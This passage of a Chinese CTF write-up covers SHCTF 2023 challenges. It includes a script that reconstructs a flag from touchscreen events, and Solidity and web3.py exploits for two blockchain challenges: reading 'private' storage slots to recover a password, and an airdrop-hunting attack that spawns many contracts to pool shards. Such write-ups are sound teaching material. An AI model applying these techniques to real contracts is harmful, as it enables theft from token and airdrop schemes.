    if BTN_TOUCH == True:
        if i.split()[0] == '0003' and i.split()[1] == '0000':
            if path[index+1].split()[0] == '0003' and path[index+1].split()[1] == '0001':
                x = int("0x"+i.split()[2],16)
                x_tmp = x
                y = int("0x"+path[index+1].split()[2],16)
                y_tmp =  y
                XY.append((x//10,y//10))
        if i.split()[0] == '0003' and i.split()[1] == '0000':
            if path[index+1].split()[0] == '0000' and path[index+1].split()[1] == '0000':
                x = int("0x"+i.split()[2],16)
                y = y_tmp
                XY.append((x//10,y//10))

        if i.split()[0] == '0000' and i.split()[1] == '0000':
            if path[index+1].split()[0] == '0003' and path[index+1].split()[1] == '0001':
                x = x_tmp
                y = int("0x"+i.split()[2],16)
                # x = reverse(x)
                y = reverse(y)
                XY.append((x//10,y//10))

from PIL import Image

img = Image.new('RGB', (0x4000//10, 0x5000//10), 'white')

for x,y in XY:

    img.putpixel((x-1,y),(0,0,0))
    img.putpixel((x+1,y),(0,0,0))
    img.putpixel((x,y),(0,0,0))
    img.putpixel((x,y-1),(0,0,0))
    img.putpixel((x,y+1),(0,0,0))


img.transpose(Image.ROTATE_90).show()

image-20231031195518458

1
flag{miiii1_sm4rt_p3n_1s_So_Fun!}

用PIL画的,不如plt

可以看 未定义师傅的题解

blockchain

[WEEK2]blockchain signin

32 支队伍攻克

题目地址 (nc连接)101.37.81.166 10000

RPC节点 101.37.81.166 10001

水龙头 101.37.81.166 10002

获取到的flag就是直接提交的格式,无需更改

题目源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;

contract Greeter {
    string greeting;

    constructor(string memory _greeting) {
        greeting = _greeting;
    }

    function greet() public view returns (string memory) {
        return greeting;
    }

    function setGreeting(string memory _greeting) public {
        greeting = _greeting;
    }

    function isSolved() public view returns (bool) {
        string memory shctf = "welC0meToSHCTF2023";
        return keccak256(abi.encodePacked(shctf)) == keccak256(abi.encodePacked(greeting));
    }
}

入门的话看这个

https://forum.butian.net/share/1953

这篇挺详细的

关于solidity入门,可以刷这个

https://cryptozombies.io/

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;

contract Greeter {
    string greeting;

    constructor(string memory _greeting) {
        greeting = _greeting;
    }

    function greet() public view returns (string memory) {
        return greeting;
    }

    function setGreeting(string memory _greeting) public {
        greeting = _greeting;
    }

    function isSolved() public view returns (bool) {
        string memory shctf = "welC0meToSHCTF2023";
        return keccak256(abi.encodePacked(shctf)) == keccak256(abi.encodePacked(greeting));
    }
}



contract exp{
    //首先确定被攻击的合约地址,就是题目环境中使用步骤2生成的那个合约地址。
    address transcation=0x56f70E483F2657348a71ec8531e18330c08F7dEc;
    //将合约地址和被攻击合约的模板整合到一起
    Greeter target=Greeter(transcation);
    constructor()payable{}
    //自己定义一个攻击函数可供调用去攻击
    function hack() public returns(bool){
        bool ans=false;
        //根据被攻击合约地址的题目要求进行修改赋值
        string memory greeting="welC0meToSHCTF2023";
        target.setGreeting(greeting);
        //然后调用函数,检查是否满足事件要求
        ans=target.isSolved();
        return ans;
    }
}

[WEEK3]贪玩蓝月

2 支队伍攻克

贪玩蓝月,你没有玩过的全新版本,点一下,玩一年,装备只花一亿元,只需体验三分钟,你就会像我一样,爱上这款游戏。

题目地址 (nc连接)101.37.81.166 20001

RPC节点 101.37.81.166 20002

水龙头 101.37.81.166 20003

获取到的flag就是直接提交的格式,无需更改

hint: https://ctf-wiki.org/blockchain/ethereum/introduction

题目源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.4.25;

contract greedyBlueMoon {
    mapping(address => uint) private shards;
    mapping(address => uint) private newcomer;
    uint private paralysisRing;
    address owner;
    uint80 private rates ;
    uint8 private bonus ;
    uint16 private price ;
    uint8 private loot;
    bytes10 private password;
    mapping(address => uint) private attackingType;
    mapping(address => uint) private waitTime;

    constructor(uint _bonus, uint _price, uint _rates, uint _loot, bytes10 _password) public {
        owner = msg.sender;
        bonus = uint8(_bonus);
        price = uint16(_price);
        rates = uint80(_rates);
        loot = uint8(_loot);
        password = _password;
    }

    function newcomerBundle() public {
        assert(newcomer[msg.sender] == 0);
        shards[msg.sender] += bonus;
        newcomer[msg.sender] = 1;
    }

    function buyShards() payable public {
        uint yourMoney = msg.value / rates;
        shards[msg.sender] += yourMoney;
    }

    function fightMob() public {
        waitTime[msg.sender] = now + 1 minutes;
        attackingType[msg.sender] = 1;
    }

    function collectingMobLoot() public {
        require((waitTime[msg.sender] < now),"Mob is alive");
        require(attackingType[msg.sender]==1);
        attackingType[msg.sender] = 0;
        shards[msg.sender] += 10;
    }

    function fightBoss() public {
        waitTime[msg.sender] = now + 52 weeks;
        attackingType[msg.sender] = 2;
    }

    function collectingBossLoot() public {
        require((waitTime[msg.sender] < now),"Boss is alive");
        require(attackingType[msg.sender]==2);
        attackingType[msg.sender] = 0;
        paralysisRing += 1;
    }

    function transfersOfItems(address to,uint value) public{
        assert(shards[msg.sender] >= value);
        shards[msg.sender] -= value;
        shards[to] += value;
    }

    function redeemingParalyzingRing(bytes10 _key) public {
        require((shards[msg.sender] >= price),"Please use the money power");
            require((keccak256(abi.encodePacked(password)) == keccak256(abi.encodePacked(_key))), "Wrong Password.");
        shards[msg.sender] -= price;
        paralysisRing +=1;
    }

    function isSolved() public view returns (bool) {
        require(paralysisRing >= 1);
        return true;
    }

}

79行, 不小心写多了

思路

主要目的就是让paralysisRing的值>=1

而能做到这点的函数有两个

redeemingParalyzingRing(兑换麻痹戒指)和 collectingBossLoot(获取Boss掉落物)

collectingBossLoot 需要等待52周 而比赛时间只有一个月 明显不能用这个办法

那就去看redeemingParalyzingRing

而这个函数需要有超过price的碎片(shards) 和兑换口令 password

获取password的值

考点: 读取private变量

但是 rates bonus price loot password 这些都是private的值

没有直接查看的接口

但是区块链上的所有数据都是公开的, private只是把数据标记为只允许合约内部修改

可以直接读取storage的slot来获取数据

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# 插槽式数组存储
----------------------------------
|               0                |     # slot 0
----------------------------------
|               1                |     # slot 1
----------------------------------
|               2                |     # slot 2
----------------------------------
|              ...               |     # ...
----------------------------------
|              ...               |     # 每个插槽 32 字节
----------------------------------
|              ...               |     # ...
----------------------------------
|            2^256-1             |     # slot 2^256-1
----------------------------------

关于存储的知识 可以看这个

https://ctf-wiki.org/blockchain/ethereum/storage

由于区块链上所有操作都要花费gas, 对于最贵的永久存储的Storage型数据, 肯定是要紧密排列

所以我们来捋一下这些变量在slot的位置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
    mapping(address => uint) private shards;            //slot0
    mapping(address => uint) private newcomer;          //slot1
    uint private paralysisRing;                         //slot2
    address owner;                                      //slot3
    uint80 private rates ;                              //slot3
    uint8 private bonus ;                               //slot3
    uint16 private price ;                              //slot4
    uint8 private loot;                                 //slot4
    bytes10 private password;                           //slot4
    mapping(address => uint) private attackingType;     //slot5
    mapping(address => uint) private waitTime;          //slot6

mapping的值不会存储在本slot 而是映射到keccak256(k -> p)的位置

但是会占据一整个slot

uint类型相当于uint256 也会占据一整个slot

一个slot有32字节的空间

address相当于 uint160 需要20字节的空间

ratesuint80 需要10字节的空间

bonus占据一字节

但是剩下的空间存不开2字节的price

所以会存到slot4

loot顺延

password也在slot4

还有一点 就是数据顺序是往高位存储(也就是靠右存储)

所以数据的结构是这样的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
----------------------------------
|            shards              |     # slot 0
----------------------------------
|            newcomer            |     # slot 1
----------------------------------
|         paralysisRing          |     # slot 2
----------------------------------
|      bonus  rates  owner       |     # slot 3
----------------------------------
|      password  loot  price     |     # slot 4
----------------------------------
|         attackingType          |     # slot 5
----------------------------------
|           waitTime             |     # slot 6

使用web3.py读取的数据

1
2
3
4
5
0x0000000000000000000000000000000000000000000000000000000000000000
0x0000000000000000000000000000000000000000000000000000000000000000
0x0000000000000000000000000000000000000000000000000000000000000000
0x00420000066666666666666604d01a7455ef0251edf272e70b6872040df35b70
0x00000000000000000000000000000000000000007368637466326f32330a8f3a

对照上面分析的结果 来看就是

1
2
3
4
5
6
owner 	0x04d01a7455ef0251edf272e70b6872040df35b70
rates	0x00000666666666666666
bonus	0x42
price	0x8f3a
loot	0x0a
password 	0x007368637466326f32330

这里有一个我挖的小坑

你读到这里可能会以为password的值是7368637466326f32330

但是看定义变量可以发现是bytes10 private password;

所以前面还有个00也是password

所以完整的password的hex是 007368637466326f32330

读取数据的脚本

1
2
3
4
5
6
from web3 import Web3
w3 = Web3(Web3.HTTPProvider('http://101.37.81.166:20002'))

contract_address = '0xF61e1F2359dDE261bDfb3016a9a14aFED5604688' 
for i in range(0,5):
    print(w3.eth.get_storage_at(contract_address,i).hex())

获取足够的shards

考点: Airdrop Hunting(薅羊毛攻击)

现在可以知道 兑换麻痹戒指的价格是0x8f3a(36666)

而通过buyShards获取碎片的代价太过高昂

每个新账户可以调用一次newcomerBundle 获取0x42(66)的shards

transfersOfItems可以向指定账户转shards

36666÷66=555.54545454545454545454545454545

也就是说创建556个新账户然后向我转shards就可以

这里就是薅羊毛攻击

薅羊毛攻击指使用多个不同的新账户来调用空投函数获得空投币并转账至攻击者账户以达到财富累计的一种攻击方式。这类攻击方式较为普通且常见,只要是有空投函数的合约都能够进行薅羊毛。

虽然在Gas limit的过低的情况下,部署后要分别执行三次函数

次数稍微多了点(防止非预期) 不过也能接受

未定义变量 师傅用web3脚本进行交互的 等待时间太长

我直接用的solidity的new方法 创建合约然后向我的地址转shards

未定义变量 师傅的题解

https://linmur.top/post/shctf-2023-blockchain-writeup/#%E8%B4%AA%E7%8E%A9%E8%93%9D%E6%9C%88

我的exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.4.25;
import "SHCTF2023/greedyBlueMoon.sol";

contract attack{
    function attack_airdrop(int num) public {
        for(int i = 0; i < num; i++){
            new getShards(this);
        }
    }
    greedyBlueMoon target = greedyBlueMoon("目标合约地址");
    function buyRing()public {
        bytes10 key = 0x007368637466326f3233;
        target.redeemingParalyzingRing(key);
    }

    function testSolved() view public  {
        target.isSolved();
    }
}


contract getShards{
    constructor(address addr) public {
        greedyBlueMoon target = greedyBlueMoon("目标合约地址");
        target.newcomerBundle();
        target.transfersOfItems(addr,66);
    }
}

image-20231031214515776

部署后先执行三次attack_airdrop

再buyRing即可

image-20231031214640205

0%